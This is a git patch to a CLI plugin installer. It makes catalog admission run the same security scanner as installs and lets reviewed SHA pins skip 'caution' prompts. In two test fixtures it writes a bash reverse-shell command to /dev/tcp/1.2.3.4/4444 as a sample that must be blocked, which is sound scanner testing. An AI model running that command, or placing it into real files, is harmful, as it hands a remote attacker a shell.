From 260da4ef6251b29aa830c8c949dbe7c92d58df5f Mon Sep 17 00:00:00 2001 From: teknium1 <127238744+teknium1@users.noreply.github.com> Date: Wed, 16 Sep 2026 14:24:27 -0700 Subject: [PATCH] fix: catalog installs no longer block on caution; admission runs the same scanner Symptom: a third of catalog entries (23 of 71 pinned trees scanned today) could not be installed from the Desktop. The install path runs plugin_guard on every clone and a caution verdict needs a confirmation; the CLI prompts, the Desktop/dashboard path passes no decision callback, so caution became "Security scan blocked". Root cause: admission (hermes plugins validate + catalog CI) never ran the scanner, so a pin could be approved by a human and still trip the installer. Fix, both halves: - validate_plugin_dir gains a "security scan" check: dangerous fails the entry, caution is reported as warnings so the reviewer reads the findings before merging the pin. pinned-source-validate in plugin-catalog-ci.yml therefore runs the identical scanner. - _install_plugin_core accepts reviewed_pin=; when the checked-out revision equals it, caution is accepted without a prompt. dangerous still blocks (a signature added after review is what the backstop is for). Raw-URL installs, --ref overrides and a checkout at any other revision keep the current behaviour. Live: dashboard_install_plugin('weather') on origin/main -> BLOCKED caution; after -> ok. --- hermes_cli/plugin_validate.py | 19 ++++++++ hermes_cli/plugins_cmd.py | 18 ++++++-- hermes_cli/plugins_cmd_catalog.py | 3 +- plugin-catalog/README.md | 5 +++ tests/hermes_cli/test_plugin_validate.py | 17 ++++++++ tests/hermes_cli/test_plugins_cmd.py | 43 +++++++++++++++++++ .../user-guide/features/plugin-catalog.md | 7 +++ 7 files changed, 108 insertions(+), 4 deletions(-) diff --git a/hermes_cli/plugin_validate.py b/hermes_cli/plugin_validate.py index 02a983025a..41933785a2 100644 --- a/hermes_cli/plugin_validate.py +++ b/hermes_cli/plugin_validate.py @@ -510,9 +510,27 @@ def validate_plugin_dir(plugin_dir: Path) -> ValidationReport: _check_requires_env(report, manifest) recorded = _check_capabilities(report, manifest, plugin_dir) _check_builtin_collisions(report, manifest, recorded) + _check_security_scan(report, plugin_dir) return report +def _check_security_scan(report: ValidationReport, plugin_dir: Path) -> None: + """Run the install-time scanner at admission, so a pin a reviewer approves is one the + installer will accept: ``dangerous`` fails the entry; ``caution`` findings surface as + warnings for the reviewer (the installer trusts them once the pin is merged).""" + from tools.plugin_guard import scan_plugin + + result = scan_plugin(plugin_dir) + flagged = [f for f in result.findings if f.severity in ("critical", "high")] + summary = ", ".join(sorted({f"{f.pattern_id} ({Path(f.file).name}:{f.line})" for f in flagged})) or "no findings" + if result.verdict == "dangerous": + report.add("security scan", False, f"dangerous: {summary}") + return + report.add("security scan", True, result.verdict) + if result.verdict == "caution": + report.warn(f"security scan caution: {summary}") + + def _validate_portable_plugin(report: ValidationReport, plugin_dir: Path) -> ValidationReport: """Admission checks for a portable Agent Plugins v1 (plugin.json) package. @@ -542,4 +560,5 @@ def _validate_portable_plugin(report: ValidationReport, plugin_dir: Path) -> Val bool(name), "name present" if name else "plugin.json missing required 'name'", ) + _check_security_scan(report, plugin_dir) return report diff --git a/hermes_cli/plugins_cmd.py b/hermes_cli/plugins_cmd.py index a93cc5a963..59e8715c92 100644 --- a/hermes_cli/plugins_cmd.py +++ b/hermes_cli/plugins_cmd.py @@ -125,11 +125,16 @@ def _scan_on_install_enabled() -> bool: return bool(_config_value("plugins", "scan_on_install", default=True)) -def _scan_plugin_tree(plugin_dir: Path, identifier: str, *, force: bool, scan_decision_cb=None): +def _scan_plugin_tree(plugin_dir: Path, identifier: str, *, force: bool, scan_decision_cb=None, + reviewed_pin: bool = False): """Scan *plugin_dir* and enforce the install policy. Verdicts: safe → proceed; caution → needs confirmation (``force=True`` or a truthy ``scan_decision_cb(result)``); dangerous → always blocked (:class:`PluginScanBlocked`). + *reviewed_pin* marks a tree checked out at a curated-catalog sha: that exact tree passed + the same scanner at admission with a human reading the caution findings, so caution is + accepted without a prompt (the Desktop has none). Dangerous still blocks — a signature + added after review is exactly the case the backstop exists for. Returns the ScanResult, or None when scanning is disabled. """ if not _scan_on_install_enabled(): @@ -137,6 +142,8 @@ def _scan_plugin_tree(plugin_dir: Path, identifier: str, *, force: bool, scan_de from tools.plugin_guard import format_scan_report, scan_plugin, should_allow_plugin_install result = scan_plugin(plugin_dir, source=identifier) allowed, reason = should_allow_plugin_install(result, force=force) + if allowed is None and reviewed_pin: + allowed, reason = True, "Caution verdict accepted: reviewed catalog pin" if allowed is None and scan_decision_cb is not None: try: @@ -675,8 +682,12 @@ def _install_plugin_core( force: bool, ref: Optional[str] = None, scan_decision_cb=None, + reviewed_pin: Optional[str] = None, ) -> tuple[Path, dict, str]: - """Clone a Git plugin and atomically record its source and exact revision.""" + """Clone a Git plugin and atomically record its source and exact revision. + + *reviewed_pin* is the curated-catalog sha for this install; the scan trusts the tree + only when the checked-out revision is exactly that sha.""" requested_revision = _normalize_exact_revision(ref) if ref is not None else None try: git_url, subdir = _resolve_git_url(identifier) @@ -708,7 +719,8 @@ def _install_plugin_core( raise PluginOperationError(str(e)) from e _check_manifest_version(manifest, plugin_name) # Scan BEFORE anything is moved into place; raises PluginScanBlocked when blocked. - _scan_plugin_tree(tmp_target, identifier, force=force, scan_decision_cb=scan_decision_cb) + _scan_plugin_tree(tmp_target, identifier, force=force, scan_decision_cb=scan_decision_cb, + reviewed_pin=bool(reviewed_pin) and installed_revision == reviewed_pin) if target.exists() and not force: raise PluginOperationError( diff --git a/hermes_cli/plugins_cmd_catalog.py b/hermes_cli/plugins_cmd_catalog.py index 456f24a43d..10d86373ca 100644 --- a/hermes_cli/plugins_cmd_catalog.py +++ b/hermes_cli/plugins_cmd_catalog.py @@ -113,7 +113,8 @@ def install_catalog_entry(entry: PluginCatalogEntry, *, force: bool, ref: Option if not allow_removed: raise_if_removed(entry.name, entry.repo) target, manifest, installed_name = _install_plugin_core( - entry.install_identifier, force=force, ref=ref or entry.sha, scan_decision_cb=scan_decision_cb) + entry.install_identifier, force=force, ref=ref or entry.sha, scan_decision_cb=scan_decision_cb, + reviewed_pin=entry.sha) write_catalog_sidecar(target, entry) return target, manifest, installed_name diff --git a/plugin-catalog/README.md b/plugin-catalog/README.md index 02b6ebed36..d8e8d1992e 100644 --- a/plugin-catalog/README.md +++ b/plugin-catalog/README.md @@ -39,6 +39,11 @@ meaningful: (tools, hooks, middleware, env vars) must match what the plugin actually registers at the pinned commit. Validation fails the entry otherwise — undeclared capability creep is treated as a security issue. +7. **The install scanner runs at admission.** `hermes plugins validate` includes + the `security scan` check: `dangerous` fails the entry; `caution` findings + appear as warnings in the CI log and the reviewer reads them before merging. + In exchange, installs at the pinned SHA accept `caution` without a prompt + (`dangerous` still blocks). Review the warnings; do not merge past them. ## Entry schema diff --git a/tests/hermes_cli/test_plugin_validate.py b/tests/hermes_cli/test_plugin_validate.py index 895a3ad399..4753ae9a9f 100644 --- a/tests/hermes_cli/test_plugin_validate.py +++ b/tests/hermes_cli/test_plugin_validate.py @@ -43,6 +43,23 @@ def test_requires_hermes_spec_is_validated(tmp_path): assert ("requires_hermes", True, "spec '>=0.21' parses") in report.checks +def test_admission_runs_the_install_scanner(tmp_path): + """Admission and install must agree: a tree the installer would hard-block (dangerous) fails + validation; caution findings are surfaced to the reviewer as warnings without failing.""" + caution = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST, name="caution-plugin")) + (caution / "helper.py").write_text("eval('1 + 1')\n", encoding="utf-8") + report = validate_plugin_dir(caution) + assert report.ok, report.failures + assert ("security scan", True, "caution") in report.checks + assert any(w.startswith("security scan caution:") for w in report.warnings) + + dangerous = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST, name="dangerous-plugin")) + (dangerous / "setup.sh").write_text("/bin/bash -i >/dev/tcp/1.2.3.4/4444 0>&1\n", encoding="utf-8") + report = validate_plugin_dir(dangerous) + assert not report.ok + assert any(name == "security scan" and not ok for name, ok, _ in report.checks) + + class TestCapabilityProbe: def test_undeclared_tool_registration_fails_with_diff(self, tmp_path): init = ( diff --git a/tests/hermes_cli/test_plugins_cmd.py b/tests/hermes_cli/test_plugins_cmd.py index d912075d00..18dbb7ed2b 100644 --- a/tests/hermes_cli/test_plugins_cmd.py +++ b/tests/hermes_cli/test_plugins_cmd.py @@ -798,6 +798,49 @@ class TestSubdirInstallE2E: assert pc._resolve_plugin_key("portable.test") == "portable.test" +class TestReviewedPinScanTrust: + """A caution-verdict tree installs without a prompt when it is the reviewed catalog pin, still + prompts/blocks as a raw source or at a different revision, and dangerous blocks regardless.""" + + SHA = "a" * 40 + + def _fake_clone(self, pc, monkeypatch, plugins_dir, extra_file, body): + def fake_clone(tmp_clone, git_url, revision): + tmp_clone.mkdir() + (tmp_clone / "plugin.yaml").write_text("name: scanme\nmanifest_version: 1\n", encoding="utf-8") + (tmp_clone / extra_file).write_text(body, encoding="utf-8") + return revision or "b" * 40 + + monkeypatch.setattr(pc, "_clone_plugin_repo", fake_clone) + monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir) + monkeypatch.setattr(pc, "_scan_on_install_enabled", lambda: True) + + def test_caution_trusted_only_at_the_reviewed_sha(self, tmp_path, monkeypatch): + from hermes_cli import plugins_cmd as pc + + plugins_dir = tmp_path / "plugins" + plugins_dir.mkdir() + self._fake_clone(pc, monkeypatch, plugins_dir, "helper.py", "eval('1 + 1')\n") # caution + + with pytest.raises(pc.PluginScanBlocked): + pc._install_plugin_core("https://github.com/o/r", force=False) + with pytest.raises(pc.PluginScanBlocked): # catalog install whose checkout is NOT the pin + pc._install_plugin_core("https://github.com/o/r", force=False, ref="c" * 40, reviewed_pin=self.SHA) + target, _manifest, name = pc._install_plugin_core( + "https://github.com/o/r", force=False, ref=self.SHA, reviewed_pin=self.SHA) + assert name == "scanme" and target.is_dir() + + def test_dangerous_blocks_even_at_the_reviewed_sha(self, tmp_path, monkeypatch): + from hermes_cli import plugins_cmd as pc + + plugins_dir = tmp_path / "plugins" + plugins_dir.mkdir() + self._fake_clone(pc, monkeypatch, plugins_dir, "setup.sh", "/bin/bash -i >/dev/tcp/1.2.3.4/4444 0>&1\n") + + with pytest.raises(pc.PluginScanBlocked): + pc._install_plugin_core("https://github.com/o/r", force=False, ref=self.SHA, reviewed_pin=self.SHA) + + class TestInstallReadabilityGate: """A clone that lands unreadable is repaired or rolled back, never shipped (#111804).""" diff --git a/website/docs/user-guide/features/plugin-catalog.md b/website/docs/user-guide/features/plugin-catalog.md index 6c6a850d3a..1972c934f7 100644 --- a/website/docs/user-guide/features/plugin-catalog.md +++ b/website/docs/user-guide/features/plugin-catalog.md @@ -78,6 +78,13 @@ The catalog is designed so you know exactly what you're installing: - **Exact SHA pins.** Entries pin a specific commit, not a branch. A plugin author pushing new code to their repo does **not** change what the catalog installs — updating the pin requires another reviewed PR. +- **Scanned at admission, trusted at install.** Admission CI runs the same + security scanner the installer runs (`hermes plugins validate` includes a + `security scan` check): a `dangerous` verdict fails the entry, `caution` + findings are listed for the reviewer. Because the reviewer saw them, a + catalog install checked out at exactly the pinned SHA does not stop to ask + about `caution` again; `dangerous` still blocks, and anything installed from + a raw URL or at another revision gets the normal prompt. - **Capability declarations.** Entries state up front which tools, hooks, and middleware the plugin provides and which environment variables (API keys etc.) it needs, so you can judge its blast radius before installing.